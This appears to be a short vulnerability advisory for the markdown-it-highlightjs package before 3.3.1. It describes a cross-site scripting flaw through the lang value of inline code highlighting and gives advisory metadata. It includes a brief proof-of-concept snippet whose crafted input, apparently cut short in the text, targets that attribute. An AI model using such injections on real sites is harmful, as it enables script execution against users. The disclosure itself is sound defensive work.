This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.
const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require('markdown-it');
const reuslt_xss = md().use(markdownItHighlightjs, { inline: true }).render('console.log(42){.">js}');
console.log(reuslt_xss);
{
"nvd_published_at": "2020-11-16T12:15:00Z",
"cwe_ids": [
"CWE-79"
],
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2021-04-15T21:12:47Z"
}